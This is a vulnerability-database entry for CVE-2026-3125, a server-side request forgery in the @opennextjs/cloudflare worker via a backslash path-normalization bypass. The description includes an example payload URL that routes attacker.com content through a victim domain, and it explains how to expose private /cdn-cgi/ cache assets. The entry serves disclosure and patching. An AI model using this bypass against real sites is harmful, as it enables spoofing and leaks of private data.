# CVE-2026-3125: SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass

> CVE-2026-3125: SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass. CVSS 6.5 (CVSS 3.1).

Canonical: https://rewindex.com/cve/CVE-2026-3125
Last updated: 2026-06-17T10:43:05Z

- Published: 2026-03-04 18:14 UTC · Updated: 2026-06-17 10:43 UTC · Assigner: cloudflare
- CVSS: 6.5 (CVSS 3.1) · Severity: Medium · Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- EPSS: 0.38%, 31th percentile (scored 2026-10-25)
- CISA KEV: no
- CWE: CWE-706, CWE-918

## Description

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. For example:   https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com  In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services. Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests. Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/\_next\_cache, which could be exposed via this bypass.

## Affected vendors and products

- opennextjs: @opennextjs/cloudflare

## Tracked companies

- [Cloudflare](https://rewindex.com/company/cloudflare.md)

## References

- [CVE record on cve.org](https://www.cve.org/CVERecord?id=CVE-2026-3125)
- [NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2026-3125)
- [https://github.com/advisories/GHSA-rvpw-p7vw-wj3m](https://github.com/advisories/GHSA-rvpw-p7vw-wj3m)
- [https://github.com/opennextjs/opennextjs-cloudflare/pull/1147](https://github.com/opennextjs/opennextjs-cloudflare/pull/1147)
- [https://www.cve.org/cverecord?id=CVE-2025-6087](https://www.cve.org/cverecord?id=CVE-2025-6087)
- [https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1](https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1)

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_Sources: CVE records from the CVE Program (cve.org). CVE® is a registered trademark of The MITRE Corporation. (https://www.cve.org/) This product uses data from the NVD API but is not endorsed or certified by the NVD. (https://nvd.nist.gov/) Known Exploited Vulnerabilities catalog from CISA. (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) EPSS scores from FIRST (Exploit Prediction Scoring System). (https://www.first.org/epss/)_


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Canonical: https://rewindex.com/cve/CVE-2026-3125 · Markdown: https://rewindex.com/cve/CVE-2026-3125.md · JSON: https://rewindex.com/api/v1/cves/CVE-2026-3125 · Data licensed CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/) · Generated 2026-10-26T03:10:46.047Z